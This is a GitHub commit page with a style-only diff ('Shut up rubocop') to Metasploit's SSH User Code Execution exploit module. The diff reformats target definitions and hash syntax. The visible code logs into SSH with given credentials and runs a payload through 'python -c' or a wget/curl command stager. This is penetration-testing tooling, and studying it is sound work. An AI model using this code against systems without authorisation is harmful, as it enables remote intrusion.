Skip to content

Commit 6752770

Browse files
committed
Shut up rubocop
1 parent e3dc17d commit 6752770

File tree

1 file changed

+44
-35
lines changed

1 file changed

+44
-35
lines changed

modules/exploits/multi/ssh/sshexec.rb

Lines changed: 44 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Remote
1616
def initialize
1717
super(
1818
'Name' => 'SSH User Code Execution',
19-
'Description' => %q{
19+
'Description' => %q(
2020
This module connects to the target system and executes the necessary
2121
commands to run the specified payload via SSH. If a native payload is
2222
specified, an appropriate stager will be used.
23-
},
23+
),
2424
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
2525
'References' =>
2626
[
@@ -39,63 +39,72 @@ def initialize
3939
'BadChars' => "",
4040
'DisableNops' => true
4141
},
42-
'Platform' => %w{ linux osx python },
43-
'CmdStagerFlavor' => %w{ bourne echo printf wget },
42+
'Platform' => %w[linux osx python],
43+
'CmdStagerFlavor' => %w[bourne echo printf wget],
4444
'Targets' =>
4545
[
46-
[ 'Linux x86',
46+
[
47+
'Linux x86',
4748
{
4849
'Arch' => ARCH_X86,
4950
'Platform' => 'linux'
5051
}
5152
],
52-
[ 'Linux x64',
53+
[
54+
'Linux x64',
5355
{
5456
'Arch' => ARCH_X64,
5557
'Platform' => 'linux'
5658
}
5759
],
58-
[ 'Linux armle',
60+
[
61+
'Linux armle',
5962
{
6063
'Arch' => ARCH_ARMLE,
6164
'Platform' => 'linux'
6265
}
6366
],
64-
[ 'Linux mipsle',
67+
[
68+
'Linux mipsle',
6569
{
66-
'Arch' => ARCH_MIPSLE,
67-
'Platform' => 'linux',
68-
'CmdStagerFlavor' => %w{curl wget}
70+
'Arch' => ARCH_MIPSLE,
71+
'Platform' => 'linux',
72+
'CmdStagerFlavor' => %w[curl wget]
6973
}
7074
],
71-
[ 'Linux mipsbe',
75+
[
76+
'Linux mipsbe',
7277
{
73-
'Arch' => ARCH_MIPSBE,
74-
'Platform' => 'linux',
75-
'CmdStagerFlavor' => %w{ wget }
78+
'Arch' => ARCH_MIPSBE,
79+
'Platform' => 'linux',
80+
'CmdStagerFlavor' => %w[wget]
7681
}
7782
],
78-
[ 'Linux aarch64',
83+
[
84+
'Linux aarch64',
7985
{
8086
'Arch' => ARCH_AARCH64,
8187
'Platform' => 'linux'
8288
}
8389
],
84-
[ 'OSX x86',
90+
[
91+
'OSX x86',
8592
{
86-
'Arch' => ARCH_X86,
87-
'Platform' => 'osx',
88-
'CmdStagerFlavor' => %w{curl wget}
89-
}
93+
'Arch' => ARCH_X86,
94+
'Platform' => 'osx',
95+
'CmdStagerFlavor' => %w[curl wget]
96+
}
9097
],
91-
[ 'OSX x64',
98+
[
99+
'OSX x64',
92100
{
93-
'Arch' => ARCH_X64,
94-
'Platform' => 'osx',
95-
'CmdStagerFlavor' => %w{curl wget}
101+
'Arch' => ARCH_X64,
102+
'Platform' => 'osx',
103+
'CmdStagerFlavor' => %w[curl wget]
96104
}
97105
],
98-
[ 'Python',
106+
[
107+
'Python',
99108
{
100109
'Arch' => ARCH_PYTHON,
101110
'Platform' => 'python'
@@ -136,16 +145,16 @@ def execute_command(cmd, opts = {})
136145
def do_login(ip, user, pass, port)
137146
factory = ssh_socket_factory
138147
opt_hash = {
139-
:auth_methods => ['password', 'keyboard-interactive'],
140-
:port => port,
141-
:use_agent => false,
142-
:config => false,
143-
:password => pass,
144-
:proxy => factory,
145-
:non_interactive => true
148+
auth_methods: ['password', 'keyboard-interactive'],
149+
port: port,
150+
use_agent: false,
151+
config: false,
152+
password: pass,
153+
proxy: factory,
154+
non_interactive: true
146155
}
147156

148-
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
157+
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
149158

150159
begin
151160
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
@@ -172,7 +181,7 @@ def exploit
172181
if target['Platform'] == 'python'
173182
execute_command("python -c \"#{payload.encoded}\"")
174183
else
175-
execute_cmdstager({:linemax => 500})
184+
execute_cmdstager(linemax: 500)
176185
end
177186

178187
self.ssh_socket.close

0 commit comments

Comments
 (0)